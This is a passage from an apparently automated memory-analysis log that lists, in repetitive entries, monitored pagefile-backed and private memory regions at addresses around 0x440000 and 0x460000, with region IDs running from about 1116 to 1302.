start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1116 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1117 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1118 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1119 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1120 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1121 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1122 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1123 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1124 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1125 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1126 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1127 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1128 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1129 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1130 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1131 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1132 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1133 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1134 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1135 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1136 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1137 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1138 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1139 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1140 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1141 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1142 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1143 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1144 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1145 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1146 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1147 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1148 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1149 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1150 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1151 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1152 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1153 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1154 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1155 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1156 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1157 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1158 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1159 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1160 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1161 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1162 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1163 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1164 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1165 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1166 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1167 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1168 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1169 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1170 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1171 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1172 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1173 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1174 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1175 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1176 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1177 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1178 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1179 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1180 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1181 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1182 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1183 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1184 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1185 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1186 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1187 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1188 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1189 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1190 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1191 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1192 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1193 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1194 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1195 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1196 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1197 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1198 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1199 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1200 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1201 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1202 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1203 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1204 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1205 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1206 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1207 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1208 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1209 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1210 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1211 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1212 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1213 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1214 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1215 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1216 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1217 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1218 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1219 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1220 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1221 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1222 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1223 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1224 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1225 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1226 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1227 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1228 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1229 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1230 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1231 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1232 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1233 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1234 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1235 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1236 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1237 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1238 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1239 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1240 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1241 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1242 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1243 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1244 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1245 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1246 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1247 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1248 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1249 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1250 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1251 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1252 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1253 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1254 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1255 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1256 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1257 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1258 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1259 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1260 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1261 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1262 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1263 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1264 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1265 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1266 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1267 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1268 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1269 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1270 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1271 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1272 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1273 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1274 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1275 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1276 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1277 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1278 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1279 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1280 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1281 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1282 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1283 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1284 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1285 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1286 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1287 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1288 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1289 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1290 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1291 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1292 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1293 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1294 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1295 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1296 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1297 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1298 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1299 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1300 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1301 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1302 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 